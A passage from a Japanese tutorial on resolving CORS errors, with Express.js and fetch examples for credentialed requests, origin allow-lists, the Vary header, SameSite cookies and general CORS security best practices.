クライアント側の解決策
認証情報を含めるには、credentials
オプションを設定します:
// 認証情報を含めたfetchリクエスト
fetch('<https://api.example.com/user-data>', {
credentials: 'include' // すべてのリクエストに認証情報を含める
})
.then(response => response.json())
.then(data => console.log(data))
.catch(err => console.error(err));
他のオプション値:
same-origin
:同一オリジンのリクエストのみ認証情報を含める(デフォルト)omit
:認証情報を含めない
サーバー側の必須設定
クライアント側でcredentials: 'include'
を設定する場合、サーバー側でも特別な設定が必要です:
// Express.jsでの認証情報対応CORS設定
const express = require('express');
const cors = require('cors');
const app = express();
app.use(cors({
origin: '<https://yourfrontend.com>', // ワイルドカード「*」は使用できない!
credentials: true // これが必須
}));
app.get('/user-data', (req, res) => {
// セッションやCookieベースの認証チェック
if (req.session.authenticated) {
res.json({ username: req.session.username });
} else {
res.status(401).json({ error: '認証が必要です' });
}
});
重要な注意点:
Access-Control-Allow-Origin
に(ワイルドカード)は使用できません。具体的なオリジンを指定する必要があります。Access-Control-Allow-Credentials: true
ヘッダーが必須です。- プリフライトリクエスト(OPTIONS)のレスポンスにも上記のヘッダーを含める必要があります。
JWTトークン認証の場合
JWTなどのトークンをAuthorizationヘッダーで送信する場合も同様の設定が必要です:
// クライアント側
fetch('<https://api.example.com/user-data>', {
headers: {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json'
}
})
.then(response => response.json())
.then(data => console.log(data));
サーバー側では、Authorization
ヘッダーを許可する設定が必要です:
// Express.jsでの設定
app.use(cors({
origin: '<https://yourfrontend.com>',
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
認証関連のデバッグ方法
認証情報が正しく送信されているか確認するには:
- 開発者ツールのNetworkタブでリクエストを確認
- Cookieが送信されているか(Request Cookiesセクション)
- Authorizationヘッダーなどのカスタムヘッダーがあるか
- プリフライトリクエスト(OPTIONS)のレスポンスに適切なCORSヘッダーがあるか
これらの項目をチェックすることで、認証付きAPIでのCORS問題のほとんどを解決できます。
一般的な失敗例と解決策
- Cookie送信されない問題
問題:
// Cookieが送信されない
fetch('<https://api.example.com/data>')
解決策:
// credentialsオプションを追加
fetch('<https://api.example.com/data>', {
credentials: 'include'
})
- ワイルドカードオリジンと認証の組み合わせ問題
問題:
// サーバー側の設定(エラーになる組み合わせ)
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Credentials', 'true');
解決策:
// 特定のオリジンを指定
const origin = req.headers.origin;
const allowedOrigins = ['<https://app.example.com>', '<https://admin.example.com>'];
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
これらのケーススタディと解決策を理解することで、実際の開発現場で遭遇するCORS関連の問題の大部分に対応できるようになります。重要なのは、エラーメッセージを注意深く読み、クライアントとサーバーの両方の設定を確認することです。
安全なCORS設定ベストプラクティス
CORSを正しく設定することは、Webアプリケーションのセキュリティと機能性のバランスを取る上で非常に重要です。ここでは、本番環境で安全にCORSを実装するためのベストプラクティスを紹介します。
本番環境向け厳格オリジン指定(Varyヘッダーの重要性)
本番環境では「とりあえず動けばいい」という考えは危険です。特にCORS設定においては、できるだけ具体的なオリジンを指定することが望ましいです。
厳格なオリジン指定の方法
// Express.jsでの実装例
const cors = require('cors');
const app = express();
// 許可するオリジンを明示的に指定
app.use(cors({
origin: ['<https://yourapp.com>', '<https://www.yourapp.com>', '<https://admin.yourapp.com>'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
このように、ワイルドカード(*
)ではなく具体的なオリジンを配列で指定することで、許可されたドメインからのリクエストのみを受け付けるようになります。
Varyヘッダーの重要性
多くの開発者が見落としがちなのが「Vary」ヘッダーの設定です。CORSリクエストでは、ブラウザは「Origin」ヘッダーを送信しますが、CDNやプロキシサーバーがこのヘッダーを無視してキャッシュを提供すると問題が生じます。
// Expressでの正しい設定例
app.use((req, res, next) => {
res.header('Vary', 'Origin');
next();
});
Varyヘッダーに「Origin」を追加することで、キャッシュサーバーに「Originヘッダーが異なるリクエストには異なるレスポンスを提供すべき」と伝えます。これにより、異なるオリジンからのリクエストに対して正しいCORSヘッダーが提供されるようになります。
実際のケースでは、Originが異なるとレスポンスヘッダーの「Access-Control-Allow-Origin」値も変わるため、このVaryヘッダーの設定は特に重要です。この設定を怠ると、CDNのキャッシュが原因で間違ったCORSレスポンスが返され、一部の正規ユーザーがアクセスできなくなる可能性があります。
ワイルドカード使用の危険性と適切な例外処理
「Access-Control-Allow-Origin: *」のように、ワイルドカードを使用するのは便利ですが、本番環境では重大なセキュリティリスクとなります。
ワイルドカードの危険性
ワイルドカードを使用すると、次のようなリスクが生じます:
- クロスサイトリクエストフォージェリ(CSRF)の脆弱性増加: 悪意のあるサイトからのリクエストも許可してしまう
- 情報漏洩のリスク: 秘密情報が予期しないドメインに送信される可能性
- 認証情報の扱いに制限:
credentials: 'include'
との併用ができない
特に3点目は重要な技術的制約です。ブラウザは、ワイルドカード設定時に認証情報(Cookie、HTTP認証、クライアント証明書)を送信することを禁止しています。
// これは動作しない組み合わせ
fetch('<https://api.example.com/data>', {
credentials: 'include' // Cookieなどを送信
})
// サーバー側
app.use(cors({
origin: '*', // ワイルドカード!
credentials: true // これはorigin: '*'と併用できない
}));
適切な例外処理
より安全なアプローチは、動的にオリジンをチェックする方法です:
// Express.jsでの実装例
const allowedOrigins = [
'<https://example.com>',
'<https://www.example.com>',
'<https://staging.example.com>'
];
app.use(cors({
origin: function(origin, callback) {
// オリジンがない場合(例:直接のAPIリクエスト)
if (!origin) return callback(null, true);
if (allowedOrigins.indexOf(origin) !== -1) {
callback(null, origin); // 特定のオリジンを許可
} else {
callback(new Error('CORS policy violation')); // 拒否
}
},
credentials: true, // 認証情報の送信を許可
maxAge: 86400 // プリフライトリクエストの結果をキャッシュ(24時間)
}));
このコードは、許可リストに含まれるオリジンからのリクエストのみを処理し、それ以外は拒否します。また、オリジンごとに適切なレスポンスヘッダーを設定します。
開発環境と本番環境で異なる設定を使いたい場合は、環境変数を活用することも効果的です:
const allowedOrigins = process.env.NODE_ENV === 'production'
? ['<https://example.com>']
: ['<http://localhost:3000>', '<http://127.0.0.1:3000>'];
最新ブラウザ対応のためのCORS関連仕様アップデート情報
ブラウザのセキュリティ機能は常に進化しており、CORSの仕様も例外ではありません。最新の変更点を把握しておくことで、将来的な問題を防ぐことができます。
プライベートネットワークアクセス制限
Chrome 94以降では、パブリックなウェブサイトからプライベートネットワーク(192.168.x.x、10.x.x.x、172.16.x.x)へのリクエストに対する新しいセキュリティ制限が導入されました。これはCORSの拡張機能として実装されています。
対応策として、プライベートネットワーク上のサーバーは追加のヘッダーを設定する必要があります:
// プライベートネットワークアクセス許可
app.use((req, res, next) => {
res.header('Access-Control-Allow-Private-Network', 'true');
next();
});
CORS-RFC1918対応
関連して、インターネット上のウェブサイトからローカルネットワーク内のリソースにアクセスする際の新しいセキュリティ仕様「CORS-RFC1918」にも注意が必要です。これにより、プライベートネットワークへのアクセスには明示的な許可が必要になります。
SameSite Cookie属性との関連
Chrome 80以降、Cookieのデフォルト設定が「SameSite=Lax」に変更されました。これはCORSリクエストでCookieが送信されるかどうかに影響します。クロスオリジンリクエストでCookieを使用する場合は、次の設定が必要です:
// Cookie設定例
res.cookie('sessionId', 'abc123', {
httpOnly: true,
secure: true, // HTTPS接続でのみ送信
sameSite: 'none' // クロスサイトリクエストでも送信可能
});
ただし、「SameSite=None」はセキュリティリスクを高める可能性があるため、十分検討した上で使用してください。
Credentialed Requestsの厳格化
最新のブラウザでは、credentials: ‘include’を使用した認証付きリクエストに対するCORSルールが厳格化されています。サーバー側で次の設定が必須となります:
- 「Access-Control-Allow-Origin」にはワイルドカード(*)を使用できない
- 具体的なオリジン値を指定する必要がある
- 「Access-Control-Allow-Credentials: true」の設定が必要
// 認証付きリクエストの正しい処理
app.use(cors({
origin: '<https://yourapp.com>', // 具体的なオリジン
credentials: true, // これが重要
methods: ['GET', 'POST'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
セキュリティを強化するための追加措置
CORSだけでなく、関連するセキュリティヘッダーも設定することで、より堅牢なWebアプリケーションを構築できます:
// Expressでの追加セキュリティヘッダー設定
app.use((req, res, next) => {
// XSSを防止
res.header('X-XSS-Protection', '1; mode=block');
// クリックジャッキング対策
res.header('X-Frame-Options', 'DENY');
// MIMEタイプのスニッフィング防止
res.header('X-Content-Type-Options', 'nosniff');
next();
});
特に公開APIを提供する場合は、レート制限やAPIキー認証などの追加対策も検討するべきです。
まとめ
安全なCORS設定のためのベストプラクティスを以下にまとめます:
- ワイルドカード(*)の使用は避け、具体的なオリジンを指定する
- 本番環境では必要最小限のメソッドとヘッダーのみを許可する
- Varyヘッダーを適切に設定し、CDNキャッシュの問題を防ぐ
- 認証情報を含むリクエストには特に注意し、適切なセキュリティ設定を行う
- 最新のブラウザ仕様に対応する(プライベートネットワークアクセス、SameSite Cookie等)
- 環境(開発/本番)に応じて異なるCORS設定を適用する
これらの原則に従うことで、機能性を維持しながらも安全なWeb APIを提供することができます。CORSは単なる「エラー対策」ではなく、Webセキュリティの重要な一部として認識し、適切に実装することが重要です。
まとめ
ここまでCORSエラーについて仕組みから実践的な解決方法まで詳しく見てきました。最初は「なぜ自分のコードが動かないんだろう?」と頭を抱えていた方も、今ではCORSの本質を理解できたのではないでしょうか。
CORSエラーは開発者なら誰もが一度は遭遇する「名物エラー」です。ただ単に「邪魔な制限」と思わず、Webセキュリティの重要な防御線として理解することが大切です。もしCORSがなければ、悪意あるサイトがあなたの銀行サイトのデータを読み取ることも可能になってしまいます。
この記事のポイント
- CORSはブラウザの重要なセキュリティ機能です。サーバー間の通信ではなく、あくまでブラウザが実施している制限です。
- オリジン(origin)とは「スキーム + ホスト + ポート」の組み合わせです。これが異なると「クロスオリジン」となり、特別な許可が必要になります。
- CORS対応には主にサーバー側の設定が必要です。
Access-Control-Allow-Origin
などのヘッダーを適切に設定しましょう。 - Express.jsなら
cors
パッケージを使えば簡単に設定可能です。npm install cors
だけで準備完了です。 mode: 'no-cors'
はデータ取得ではなく、単にエラーを見えなくするだけなので使い方に注意が必要です。- 開発環境では一時的に
-disable-web-security
オプションを使うこともできますが、本番環境では絶対に使わないでください。 - セキュリティ設定では「必要最小限の許可」を心がけることが重要です。ワイルドカード(*)は便利ですが、本番環境では避けるべきです。
困ったときは、ブラウザの開発者ツールを開いて「Network」タブをチェックしましょう。プリフライトリクエスト(OPTIONS)がどのように処理されているかを確認すれば、問題の大半は解決できるはずです。
CORSエラーと格闘することは、Webセキュリティの仕組みを深く理解するよい機会です。「エラーが出なくなった!」で満足せず、なぜそのエラーが発生したのか、どのような対策がベストプラクティスなのかを考えながら開発を進めていきましょう。
